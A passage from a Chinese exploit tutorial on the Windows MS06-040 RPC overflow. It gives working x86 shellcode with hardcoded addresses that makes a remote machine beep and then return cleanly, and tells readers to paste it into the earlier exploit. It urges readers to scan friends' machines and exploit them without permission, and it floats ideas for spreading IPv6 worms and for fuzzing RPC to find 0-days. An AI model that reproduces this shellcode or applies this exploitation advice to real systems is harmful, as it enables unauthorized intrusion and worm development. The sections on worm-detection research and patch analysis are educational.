EIP 指向函数调用的下一条指令的地址,被我们替换成call ecx的地址
ESP
指向前一个调用的栈顶,在本实验的exploit中并没有被破坏
函数调用的下一条指令地址我们能够在OLLYDBG中看到是0x7517F85B。这是DLL中代码段中的死地址,能够让shellcode的最后一条指令直接jmp过去。
EBP的恢复略微复杂一点。尽管栈顶和栈底的地址是动态的,每次调用都不一样,可是前一个函数开的栈空间大小是一定的,这取决于函数内部变量的大小。也就是说尽管EBP和ESP的内容每次调用都不一样,可是EBP和ESP的差值在每次调用时是肯定一样的,而ESP在这里并没有被破坏掉,我们就能够通过ESP的值和栈空间的大小计算出EBP的值,并在shellcode退出前恢复这个值。
分析完了,用OLLYDBG调试几遍,看清出EBP和ESP之间的关系,就能够改动一下shellcode了。
因为调用图形函数会出问题,所以这里在shellcode里我们换一个函数调用,就是Beep()函数。这是kernel32.dll里的一个函数,它利用主板上的压电陶瓷片发声的函数,也就是说无论你有没有声卡和喇叭,它都会用机箱“嘀”的响一声的,熟悉DOS的朋友对这个函数不会陌生,那个年代声卡、音响这些东西对计算机来说还是非常遥远的。这个函数有两个參数,一个指定发声的频率,一个指定发声持续的时间。假设你没用过,看下MSDN,别把频率设置到人耳朵听不到的地方去了。
最后我写出的用来让远程主机“嘀”一下而且能够正常返回的shellcode是这种:
=======================================================================
#include
int main()
{
_asm{
mov ebp,esp
add bp,0x10 //recover ebp
pop
ecx
push ebp
mov ebp ,esp
sub sp ,0x444
push eax
xor
eax,eax
mov Ax , 0x444
push eax
xor eax,eax
mov Ax, 0x444
push
eax
mov eax,0x7C837A77
call eax //call beep
pop eax
add
sp,0x444
pop ebp
mov ecx ,0x7517F85B
jmp ecx
}
}
代码6:
shellcode_beep.c
相同要注意函数地址与平台的关系。编译后提出shellcode放进前边的exploit里,剩下的就是赞赏远程的主机被我们“嘀”了!
在附件中我还给出了我找到的两个分别由EEYE和启明星辰出品的MS06-040扫描器,你能够试着找下周围有没有朋友有这个漏洞,然后就能够用我们的实验程序“嘀”他了。你也能够改一下“嘀”的音调或者“嘀”的时间,甚至依据半音之间的指数倍关系让你朋友的机器“嘀”出一首歌来,秀一下我们的研究成果,末了不要忘了善意的提示他打补丁。
到这里,本文所有的7节实验内容就所有结束了,能够实际动手一步一步跟我玩到如今的朋友一定体会到了开头的那句话的含义了吧。
To
be the apostrophe which changed "Impossible" into "I‘m possible"
假设你有足够的毅力和踏实的技术,在window里非常多Impossible都会变成I’m
possible,而这两者间往往就差那么巧妙的一撇!这一撇的巧妙正是我喜爱这样的技术的根本。
3
展望篇
——山高月小,水落石出
大道只是二三四。然而在我看来,唯有跟进内存,盯着寄存器,被莫名其妙的问题重复郁闷之后终于成功的人,才有资格谈论“道”。以下就让我们拨开云雾去看看山高月小和水落石出的美景吧。
3.1
魔波,蠕虫现身!
无论是让远程的机器“嘀”一下,还是绑定command作为后门,或者磁盘格式化,这些在编程技术上是没有本质差别的。可能犇犇们的技术到了一定层次会有种高处不胜寒的寂寞感吧,就有人会写点东西让自己的程序利用漏洞在网络间自己复制传播,这就是蠕虫。
因为在XP
SP2上MS06-040是不能被成功利用的,主要受害机器集中在WIN2000和XP低版本号操作系统,所以受害机群较少。另外RPC调用须要使用139和445port,这两个port早在冲击波年代就被各大网关路由全面封杀过了,所以从网络角度讲,这次计算机风险还不致于引起拥塞瘫痪。
可是我个人觉得,这次计算机风险还没有全然过去。由于蠕虫爆发时正值学校放假,可能当时影响并不大。如今高校开学,大量校园网用户无法出国更新补丁,所以仍应当提高警惕。
魔波的逆向分析我不想在这里占用篇幅了,本着学习研究提高技术的目的,我把魔波的shellcode部分放在了附件中,至于完整的代码和可运行的PE样本么,请原谅这里不方便发布,由于万一几个热血的朋友用这些资料搞出几个蠕虫变种来我可担当不起这个责任。
魔波的主要行为是开后门,把目标机变成能够被远控的“僵尸”机。这和冲击波那种纯粹以传播为目的的蠕虫小有不同。恰巧课题组有两位博士在做这方面研究,就大嘴巴替他们多说两句了。
眼下蠕虫研究的主要思路是从网络行为上提取特征进行预警和控制。简单说,就是蠕虫在传播时会探測性的发出大量的扫描数据包,这会造成特定的数据包在网络中指数级的迅速增长,大量占用网络带宽。研究者通过实时监控网络情况,从网络流量中提取诸如协议种类、协议比重、流、时序等特征来进行检測。当发现蠕虫爆发时,能够依据蠕虫的传播形式建立数学模型进行预測和控制。一般在分析网络行为时会用到大量《随机过程》和《数理统计学》中的知识,比方用“隐马尔可夫链”来处理时间序列上的随机数据近期在这个领域应用的就挺火。在控制预測中通常会用“传染病”预測模型建立一套方程组给出预測和控制。假设你有兴趣,IEEE、ACM上能够找到非常多paper,你最好还是用EI或者SCI搜几个来看看。只是这类文章就是所谓的讲“道”的文章了,里边全是偏微分方程,基本上是见不到寄存器状态的。
另外一个比較新兴的研究领域就是在IPV6下研究蠕虫传播。从技术上讲,似乎和我们的实验还是没有质的差别,无非在shellcode中把Beep()调用换成IPV6的网络操作而已;从学术角度讲,似乎也没有大的差别,还是传染病预測理论么。事实上不然:IPV4和IPV6一个重要的差别是地址空间的添加,在稀疏的地址空间里假设还像传统蠕虫那样随机扫描目标主机来感染的话,那么建立数学模型预測一下会发现,两种协议下被感染主机数量的曲线形状差点儿是一样的,都是类指数曲线,但时间轴坐标会全然不同,感染进度在IPV4下是按秒和分钟来计算的,而IPV6下是XXXX年!
当然,理论上预測出的传播困难在我看来也是能够促进hack技术的进步的。下一代在IPV6蠕虫在传播技术上必需有新的创意,发现目标主机将是一个难点。随机扫描是不可取的,能够尝试别的技术和利用别的层次的协议,比方利用DNS和ARP上的主机信息去传播。
当IPV6蠕虫真的出现的时候,传播模型当然也会有非常大变化,又能够涌现出很多新的学术研究成果了,真的是在攻防中共同进步啊。
这方面的资料能够參看课题组的博士刚刚在计算机学报8月安专刊上发表的文章《IPv6网络中蠕虫传播模型及分析》,他们是这方面的专家。
3.2
补丁,无洞可钻?
享受了溢出的快感之后,难道你不想看看微软补丁里到底改动了什么吗?我在附件中给出了补丁前后的不同版本号的netapi32.dll。用IDA看一下,在做长度检查时,已经由补丁前的限制0x411改成了补丁后的0x208。XP
SP2的补丁前后的DLL我也给出,你们最好还是也去看看有哪些变动。MS06-040中除了NetpwPathCanonicalize()还有其他问题,这里不再讨论,有兴趣的能够參考0x557上面的分析。
有钻洞的能力还要有洞可钻才行,否则补丁过后虫虫不是没有活路了。这里我想谈谈怎么挖掘0day。
0day是指能被成功利用,而微软官方并不知道或知道并未发布的漏洞。掌握一个0day,你就差点儿能够所向披靡的任意hack全天下机器了。我们讨论的MS06-040在发布前无疑是一个被犇犇们玩弄于股掌之间的0day。无论是对hacker,对微软,对军方,对安全公司,0day都有非常重要的意义。能够利用漏洞仅仅是懂了一点技术的大鸟,能够发现0day的才是真正的犇犇。
事实上在我们实验的基础上,把RPC溢出的代码略加修改,丰富一下IDL中的接口和函数的定义,你就能够拥有自己的RPC函数的漏洞发掘工具了。远程函数假设须要int的就给送long型,指针的就试点NULL之类的,字串的就用超长的往里塞,总之就是把全部可能引起错误的因素组合一下,一个一个的送进函数看反应。你能够编程把RPC能够CALL到的远程函数一个一个的測过去,假设发现崩溃的就用我们前面的调试方法跟进去看看崩溃的原因,结合栈和寄存器的状态确认下能不能利用,运气好了就会撞到0day啦。
从今年的《XCon
安全焦点信息安全技术峰会》上回来,有不少感慨。14位演讲者中涉及漏洞挖掘方法的就有四位。Funnyway和CoolQ在代码审计上的尝试让人看到了hacker的勇气,而Dave现场演示的RPC漏洞fuzz则直接关注于技术本身,最后来自微软的Adrian发表的对0day的看法,则强烈的激励着有志之士投身这个领域。以下就结合我个人的研究,谈谈我对这个领域的了解和看法。
事实上上面谈的測试0day的方法就是工业界眼下普遍採用的fuzz方法。Fuzz实际上就是软件project中的黑箱測试。你能够对协议,对API,对软件进行这样的fuzz測试。fuzz方法的长处是没有误报,虽然可能有些执行错误并不能被成功利用;缺点是你无法穷举全部的输入,就算fuzz不出问题也无法证明一个系统是安全的。
学术界则偏向于用算法直接在程序的逻辑上寻找漏洞。这方面的方法和理论有非常多,比方数据流分析,类型验证系统,边界检验系统,状态机系统等。这样的方法的长处是能够搜索到程序流程中的全部路径,但缺点是非常easy误报。
半年前我以前研究过一段时间代码级的漏洞挖掘,用的方法大概也是上面列出的这些静态分析技术,而且实现了一个分析PHP脚本中SQL注入漏洞的挖掘工具的demo版本号。研究过后深深觉得代码的静态分析理论要想在工业上运用还有非常长的路要走,突出的问题在于大量的误报。个人觉得,全部这方面理论都面临相同一个棘手的问题:就是在处理程序逻辑中由动态因素引起的复杂的条件分支和循环时,静态分析的天然缺陷。静态分析算法要想取得实质性的突破必须面对“彻底读懂”程序逻辑的挑战,这在形式语言上实际涉及到了上下文相关文法,而编译理论和状态机理论仅仅发展到解释上下文无关文法的阶段。
假设代码静态分析技术真的在文法的解释上有所突破,那么从数学上证明一个软件没有缺陷将成为可能!这样的进步不光是在漏洞挖掘上的进步,更重要的是计算机背后的形式语言和逻辑学的飞跃——这可能将是能和莱布尼兹、歌德尔、布尔、图灵、冯诺伊曼那一票逻辑大师的贡献相媲美的成就——乔姆斯基的文法体系出台后的这50多年里,虽然编译理论和技术蓬勃发展,但时至今日,计算机能“读懂”的语言始终局限于上下文无关文法。展望一下计算机能处理上下文相关文法甚至图灵机的那一天将会是一副什么样的美景吧:VC编译的时候不用执行就会告诉你哪里有死循环、哪里内存泄漏、哪里的指针在什么情况下会跑飞……编译器不仅仅会检查语法问题,还会检查逻辑问题,软件project中不论开发还是測试的压力都将大大减轻,整个计算机工业体系都将产生一次飞跃,当然我们的漏洞发掘工具也更智能——仅仅是真的有那一天hacker们可能都要下岗了:)